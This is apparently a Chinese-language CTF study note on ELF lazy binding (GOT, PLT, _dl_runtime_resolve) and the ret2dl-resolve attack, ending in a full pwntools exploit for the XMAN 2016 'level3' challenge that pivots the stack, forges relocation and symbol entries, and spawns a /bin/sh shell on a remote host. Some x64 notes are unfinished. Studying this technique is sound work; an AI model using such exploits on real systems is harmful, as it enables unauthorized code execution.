-
got表 plt表,延迟绑定流程

程序第一次调用一个函数的时候,eip先跳到plt表的jmp ***指令,然后这个***地址在got表中,jmp ***表示,将无条件转移到 got表地址为***中的地址处执行指令。然后压栈一个数字,不同函数,数字也不同,并且跳转到plt表中的另一处地址指令指令:压栈一个got表地址对应的值记为got1,然后无条件跳转到got表地址对应的值记为got2,在got2处的指令就是对函数的重定位。




jump到got2地址后,,准备执行_dl_runtime_resolve函数修改got表地址,指向真实的函数地址。 -
_dl_runtime_resolve 具体操作:
got1 是一个 link_map指针,包含了 .dynamic 这个section:

这个section的用处就是他包含了很多动态链接所需的关键信息,然后里面包含了DT_STRTAB, DT_SYMTAB, DT_JMPREL三项(可以readelf -S 程序名 查看),分别指向.dynstr, .dynsym, .rel.plt这3个section的指针
.dynstr -> 这个section是一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,相关数据结构引用一个字符串时,用的是相对这个section头的偏移

.dynsym ->这个section是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。

如puts函数结构体:
typedef struct
{
Elf32_Word st_name;
//符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
.rel.plt ->这个section是一个重定位表(结构体数组),跟windows那个重定位表概念不同,每个项对应一个导入函数。

结构体如下:
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,
//如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;
1._dl_runtime_resolve这个函数通过got1 指向的link_map指针,找到.dynamic 这个section
2.在.dynamic这个section取出指向.dynstr, .dynsym, .rel.plt的指针
3.然后通过 .rel.plt 的初始地址 加上 一开始push进去的数字(这个数字代表在.rel.plt中的偏移,用于找出 要导入函数的位置),就可以找到当前要导入的函数的重定位表项Elf32_Rel的指针,记作rel
4.通过rel->r_info >> 8 取出 第二个字节开始的数字,作为偏移计算值,计算出在.dynsym 中要导出的函数的符号表项Elf32_Sym的指针,记作sym
5.通过.dynstr + sym -> st_name 得到 要导入的函数的 函数名字(字符串)
6.在动态链接库找到 这个函数的地址,并且赋值到 rel -> r_offset 指向的got表位置
7.执行这个函数
x32,此漏洞利用:{
情况1:.dynamic 这个section可写,则可以只写修改.dynstr + sym->st_name 这个指针,指向一个可写的区域,并且在这个区域中写入system,执行system函数
情况2:(前提条件:在栈溢出后程序中仍然存在至少一个未执行过的函数&&.dynamic 这个section可写),先修改 .dynamic 中的 .dynstr这个section对应的指针地址,指向一个可写的地址,将 .dynstr 中的内容的未执行的函数的函数名改为system,然后向这个地址写入 修改后的.dynstr 中的内容+ '/bin/sh\x00', 并且。然后返回含有栈溢出的函数,覆盖返回地址为 未执行的函数的起始地址,(不用加个返回地址?)后面接着的是 '/bin/sh\x00' 地址 getshell (ps:?????)
情况3:.dynamic 这个section不可写,只有一个栈溢出漏洞,则可->劫持rbp->执行read函数,在一个可写的bss段写入'a'*0x4 +指向push got1的地址 + 一个计算好了的reloc_arg + system函数返回地址 + system所要执行的字符串地址 + (padding) + rel和sym结构体,'system\x00\x00','/bin/sh\x00' ->leave ret ->将栈劫持到刚刚写入payload的bss段执行指令 -> getshell
}
x64 漏洞利于与 x32 区别:{
dym 和 rel 结构体 要对齐 0x18,也就是 两个结构体前面一定要是 0x18的倍数
reloc_argv 计算为 (fake_rel_add - rel_plt_start_add)/0x18
rel 结构体中的r_info 计算为 (fake_dym_add - dym_start_add)/0x18 << 0x20 | 0x7
sym 结构体一般为
}

#xman 2016 level_3 x32 exp
from pwn import *
context.binary = './level3'
file_elf = ELF('./level3')
leave_ret_add = 0x8048482
can_write_add = 0x804a3a0
pop3_ret_add = 0x8048519 # pop esi,edi,ebp,ret
pop_ebp_ret_add = 0x804851b
read_add = file_elf.symbols['read']
link = remote("192.168.93.137","6666")
payload = 'A' * 0x8c
payload += p32(read_add)
payload += p32(pop3_ret_add)
payload += p32(0)
payload += p32(can_write_add)
payload += p32(0x300)
payload += p32(pop_ebp_ret_add)
payload += p32(can_write_add)
payload += p32(leave_ret_add)
link.recvuntil("Input:\n")
link.send(payload)
sym_start_add = 0x80481cc
synstr_start_add = 0x804822c
pushgot1_jumpgot2_add = 0x8048300
rel_plt_start_add = 0x80482b0
write_got = file_elf.got['write']
fake_rel_add = can_write_add + 0x110 #大小 0x8 byte
fake_sym_add = can_write_add + 0x11c #大小 0x10 byte
#因为fake_r_info的计算方法&& sym_start_add = 0x80481cc
#所以fake_sym_add 最后一个十六进制数一定为c
#即:sym_start_add 与 fake_sym_add 的距离一定为0x10倍数 (sym结构体的大小)
fake_reloc_argv = fake_rel_add - rel_plt_start_add
#fake_reloc_argv 可以为任意值 即:fake_rel_add可为任意值(可写)
bin_sh_add = can_write_add + 0x138
fake_r_info = ((fake_sym_add - sym_start_add) / 0x10) << 0x8 | 0x7
fake_st_name = can_write_add + 0x130 - synstr_start_add
fake_rel_data = p32(write_got) + p32(fake_r_info)
fake_sym_data = p32(fake_st_name)
fake_sym_data += p32(0) + p32(0) + p32(0x12)
payload2 = 'A' * 0x4
payload2 += p32(pushgot1_jumpgot2_add)
payload2 += p32(fake_reloc_argv)
payload2 += p32(0)
payload2 += p32(bin_sh_add)
payload2 = payload2.ljust(0x110,'A')
payload2 += fake_rel_data
payload2 = payload2.ljust(0x120,'A')
payload2 += fake_sym_data
payload2 += 'system\x00\x00'
payload2 += '/bin/sh\x00'
link.send(payload2)
link.interactive()
